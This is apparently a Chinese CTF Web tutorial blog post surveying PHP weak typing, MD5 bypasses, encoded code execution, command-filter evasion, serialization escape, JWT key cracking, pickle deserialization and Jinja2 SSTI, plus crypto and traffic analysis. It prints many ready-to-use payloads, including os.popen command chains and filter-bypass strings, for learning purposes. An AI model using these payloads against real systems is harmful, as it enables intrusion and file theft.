CTF Web 解题完全指南:从 PHP 弱类型到 SSTI 模板注入的实战方法论

在网络安全领域,CTF(Capture The Flag)夺旗赛是技术人员成长的必经之路。解题模式(Jeopardy)作为最常见的线上赛制,覆盖了 Web、PWN、逆向、密码学、杂项等七大方向,其中 Web 类题目因门槛低、场景贴近实战而成为多数入门者的首选。本文将系统梳理 CTF Web 方向的核心考点,从 PHP 弱类型到 Python SSTI,从古典密码到流量分析,结合大量可直接复用的 Payload 与解题思路,帮助你建立完整的解题知识体系。

一、CTF 解题模式与 Web 题型概览

CTF 解题模式的核心是通过分析题目给出的环境或源码,利用漏洞获取隐藏的 Flag 字符串。Web 类题目主要围绕真实业务场景中的安全漏洞展开,常见考点包括:

  • 基础语言特性:PHP 弱类型比较、MD5 科学计数法绕过、数组特性利用
  • 代码与命令执行:正则过滤下的异或 / 取反绕过、变量拼接绕过
  • 序列化与反序列化:字符逃逸、魔术方法利用、POP 链构造
  • 身份认证:JWT 密钥爆破、空加密算法攻击、会话伪造
  • 模板注入:Jinja2/Mako 等引擎的 SSTI 漏洞利用
  • 密码学:凯撒密码、异或加密、哈希碰撞

不同于真实渗透测试,CTF 题目考点明确,每道题都对应一个或多个核心知识点。解题的关键在于快速识别考点,然后套用对应的 Payload 框架进行微调。

二、PHP Web 核心考点深度解析

2.1 弱类型比较:一切绕过的起点

PHP 作为弱类型语言,在使用==进行比较时会自动进行类型转换,这是 CTF 中最基础也最常考的知识点。

核心规则:字符串与数字比较时,PHP 会提取字符串开头的数字部分进行转换;若开头无数字则转为 0。例如:

  • "123abc" == 123true
  • "abc" == 0true
  • "0e12345" == 0true(科学计数法解析)

经典题型解法

php

运行

复制代码
if($a == 0 and $a){
    echo $flag;
}
if(is_numeric($b)) exit();
if($b > 1234){
    echo $flag;
}

Payload?a=abcd&b=1235abc

  • a=abcd:字符串与 0 比较等于 0,同时非空字符串布尔值为 true
  • b=1235abc:非纯数字绕过is_numeric,但比较时转换为 1235 大于 1234

2.2 MD5 绕过的三重境界

MD5 相关题目在 CTF 中层层递进,从基础的科学计数法到严格比较的数组绕过,再到强类型下的哈希碰撞。

第一层:弱比较下的科学计数法 当两个 MD5 值都以0e开头且后续全为数字时,PHP 会将其视为科学计数法的 0,从而相等。

  • 经典值:QNKCDZO0e83040045...
  • 常用值:2406107080e46209743...
  • Payload:?a=240610708

第二层:严格比较下的数组绕过 PHP 的md5()函数无法处理数组,传入数组会返回null,两个null严格相等。

  • Payload:?username[]=aaa&password[]=bbb
  • 原理:md5([]) === md5([])null === nulltrue

第三层:强类型校验下的 MD5 碰撞 当代码强制将参数转为字符串后,数组绕过失效,此时需要真正的 MD5 碰撞。使用fastcoll工具生成两个不同但 MD5 相同的二进制文件,URL 编码后传入即可。

2.3 无字母数字的代码执行:异或与取反

当正则表达式过滤了所有字母和数字时,常规的phpinfo()无法直接使用,这就需要利用位运算构造可执行代码。

异或绕过原理 :两个特殊字符进行异或运算可以得到字母。例如'^' ^ '.'得到字母p。通过逐字符异或拼接,就能构造出完整的函数名。

phpinfo () 异或 Payload

plaintext

复制代码
(%28%22%5E%22%5E%22.%22%29.%28%22%28%22%5E%22%40%22%29.%28%22%5E%22%5E%22.%22%29.%28%22%29%22%5E%22%40%22%29.%28%22.%22%5E%22%40%22%29.%28%22%26%22%5E%22%40%22%29.%28%22%2F%22%5E%22%40%22%29)();

取反绕过原理:对字符串按位取反得到不可见字符,传入后再次取反还原。

  • ~'phpinfo' 经 URL 编码后为 %8F%97%8F%96%91%99%90
  • Payload:(~%8F%97%8F%96%91%99%90)();

进阶利用:读取 flag 文件

php

运行

复制代码
// 读取目标:printf(file_get_contents('/flag'));
// 取反Payload
(~%8F%8D%96%91%8B%99)((~%99%96%93%9A%A0%98%9A%8B%A0%9C%90%91%8B%9A%91%8B%8C)('/'.(~%99%93%9E%98)));

2.4 命令执行的多层绕过

命令执行题目通常会叠加多层过滤:空格、关键字、特殊字符等,需要逐层绕过。

空格绕过

  • ${IFS}:Linux 内置分隔变量
  • %09:URL 编码的制表符
  • <:输入重定向符

关键字绕过

  • 反斜杠分割:c\at
  • 引号拼接:c'a't
  • 变量拼接:a=c;${a}at

flag 关键字绕过

  • 通配符:fla*
  • 变量拼接:b=g;fla$b
  • 反向拼接:打乱字符顺序后组合

实战 Payload 示例

plaintext

复制代码
sort%09/fla*

使用未被过滤的sort命令读取文件,用%09替代空格,用通配符绕过 flag 检测。

2.5 序列化字符逃逸:字符增减的艺术

PHP 反序列化的核心特点是:以;}作为结束标记,后续内容被忽略;字符串严格按长度解析。当过滤函数改变字符串长度时,就可能产生字符逃逸。

字符增加型逃逸 (过滤后字符变多) 例如将p替换为ww,每一个 p 多出 1 个字符。通过填充足够多的p,让多出的字符 "挤" 出闭合语句,修改后续字段。

经典公式

plaintext

复制代码
需要逃逸的字符串长度 = 填充的被过滤字符数 × 每个字符增加量

字符减少型逃逸 (过滤后字符变少) 例如将p删除,需要两个参数配合:第一个参数填充被过滤字符占位,过滤后长度缩短,从而 "吞掉" 第二个参数的前半部分,露出预先构造的序列化语句。

实战案例:修改 photo 读取 config.php 在 nickname 字段中填充 34 个where(替换为 hacker,每个 + 1 字符),配合数组闭合,将 photo 字段修改为config.php,最终通过文件读取拿到 Flag。

三、Python Web 核心考点深度解析

3.1 JWT 身份认证伪造

JWT 由 Header、Payload、Signature 三部分组成,核心安全依赖签名密钥。CTF 中常见考点是弱密钥爆破。

攻击流程

  1. 以普通用户登录获取 JWT Token
  2. 使用jwt_toolc-jwt-cracker爆破密钥
  3. 将 Payload 中的 username 改为 admin,用爆破出的密钥重新签名
  4. 替换 Cookie 中的 JWT,以 admin 身份获取 Flag

常用工具命令

bash

运行

复制代码
python3 jwt_tool.py <token> -C -d weakpass.txt

进阶考点:空加密算法攻击(alg 设为 None),但现代框架基本已修复此问题。

3.2 Python 反序列化:pickle 漏洞

Python 的pickle模块在反序列化时会执行对象的魔术方法,是 RCE 的重灾区。CTF 中常考两个魔术方法:

  • __reduce__():序列化时调用,反序列化时执行其返回的可调用对象
  • __setstate__():反序列化时调用,接收状态参数

标准 Payload 构造

python

运行

复制代码
import pickle
import urllib

class poc(object):
    def __reduce__(self):
        return eval, ("open('/flag.txt').read()",)

payload = urllib.quote(pickle.dumps(poc()))

环境注意事项 :Windows 下os.listdir对应nt.listdir,Linux 下对应posix.listdir,需根据目标系统调整。

3.3 SSTI 模板注入:从探测到 GetShell

模板注入(SSTI)是 Python Web 最高频的考点。当用户输入被直接传入模板渲染函数时,攻击者可执行任意代码。

快速探测 :输入{``{2*2}},若页面返回 4 则存在 SSTI。

引擎识别

  • {``{}} 语法 → Jinja2 / Tornado
  • ${} 语法 → Mako
  • Mako 支持直接调用open(),Jinja2 需要通过类继承链获取

Jinja2 标准利用链

python

运行

复制代码
# 获取基类 → 遍历子类 → 找到含os模块的类 → 执行命令
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag.txt').read()

Flask 内置快捷方式

python

运行

复制代码
# 利用config、url_for、lipsum等内置对象直接获取os
config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read()
lipsum.__globals__['os'].popen('cat /flag.txt').read()

自动化工具SSTImap可一键检测并提供 Shell,大幅提升解题效率。

四、密码学与杂项:快速得分技巧

4.1 古典密码:凯撒密码

凯撒密码是最基础的移位密码,CTF 中常以入门题出现。由于只有 26 种可能,直接暴力破解即可。

解密脚本模板

python

运行

复制代码
cipher = "lzw_uswksj_uahzwj_ak_gfw_gx_lzw_egkl_tskau_udskkausd_uahzwjk"
for offset in range(26):
    plain = ""
    for c in cipher:
        if 'a' <= c <= 'z':
            plain += chr((ord(c) - ord('a') - offset) % 26 + ord('a'))
        else:
            plain += c
    print(f"Offset {offset}: {plain}")

识别技巧 :解密结果中出现有意义的英文单词即为正确答案,如the_caesar_cipher_is_one_of_the_most_basic_classical_ciphers

4.2 异或加密:性质的妙用

异或加密的核心性质:a ^ b = ca ^ c = b,且自身异或为 0。CTF 中常考多密钥异或的推导。

经典题型推导 : 已知 a = r0, b = r0^r1, c = r1^r2, d = m^r0^r1^r2m = d ^ a ^ (a^b) ^ ((a^b)^c) = d ^ b ^ c

直接通过已知值异或运算即可还原明文,无需破解随机数。

4.3 流量分析:从 PCAP 中提取 Flag

杂项中的流量分析题,核心是筛选特定协议数据包,提取载荷并拼接。

ICMP 后门题解法

  1. 过滤 ICMP 协议数据包
  2. 提取每个包的数据载荷
  3. 按顺序拼接得到 Flag 字符串

SQL 盲注流量题解法

  1. 筛选包含特定关键字的 HTTP 请求
  2. 根据响应长度或内容判断布尔结果
  3. 提取每个请求的 ASCII 码值,转换为字符

Python 脚本化处理 :使用scapy库可自动化完成数据包解析、筛选、拼接,比手动 Wireshark 查看高效得多。

五、AI 辅助 CTF 解题:高效提分方法论

在实际解题中,AI 可以大幅提升编码和分析效率,尤其适合以下场景:

5.1 加密脚本逆向

给出加密源码,让 AI 直接编写对应的解密脚本。无论是凯撒、异或还是变种加密,AI 都能快速还原逻辑并生成可运行代码。

5.2 流量分析自动化

描述需求("提取 ICMP 数据并拼接"、"筛选含 skyflag 的请求并转 ASCII"),AI 可直接生成 scapy 分析脚本,运行即得 Flag。

5.3 Payload 生成与编码

描述目标函数和过滤规则,AI 可生成对应的异或、取反 Payload,并自动完成 URL 编码,省去手动计算的繁琐。

使用建议:AI 擅长逻辑转换和代码生成,但不擅长漏洞思路判断。解题的关键还是先识别考点,再用 AI 实现具体 Payload。

六、CTF 学习路径建议

  1. 基础阶段:掌握 PHP 弱类型、MD5 绕过、基础命令执行,刷完各平台入门题
  2. 进阶阶段:攻克序列化、SSTI、JWT 等中高频考点,理解原理而非只记 Payload
  3. 提升阶段:练习复杂的 POP 链构造、绕过 WAF 的花式 Payload、混合考点题目
  4. 实战阶段:参加线上公开赛,在限时压力下锻炼解题速度和临场思路

CTF 的本质是对知识体系的考察,每类题目都有固定的解题范式。建立起完整的知识框架,遇到题目快速匹配考点,再结合工具和 AI 辅助,就能高效解出绝大多数 Web 题目。希望这份指南能帮你在 CTF 之路上少走弯路,早日成为夺旗高手。安全之路永无止境,保持好奇,持续学习。每解出一道题,都是对自己技术边界的又一次拓展。


安全之路永无止境,保持好奇,持续学习。每解出一道题,都是对自己技术边界的又一次拓展。

相关推荐
程序员黑豆8 小时前
从零开始:编写第一个鸿蒙(HarmonyOS)程序
前端·harmonyos
lastknight8 小时前
CSS @layer
前端·css
李宸净8 小时前
Web自动化测试selenium+python
前端·python·selenium
淡海水9 小时前
06-04-YooAsset源码-Unity加密解密服务
前端·unity·性能优化·c#·游戏引擎·yooasset
智灵鸟科技9 小时前
封闭网络怎么安全地接外部能力:三条通道穷举、威胁封堵矩阵与残余风险
网络·安全·矩阵
trigger3339 小时前
desk-health-web-community-post
前端
倒流时光三十年9 小时前
Logback 系列(7):常用 Appender(控制台 / 文件 / 滚动文件)
java·前端·logback
Csvn10 小时前
页面「穿越」之谜:React 中因 key 值不正确导致的渲染 Bug 排查实战
前端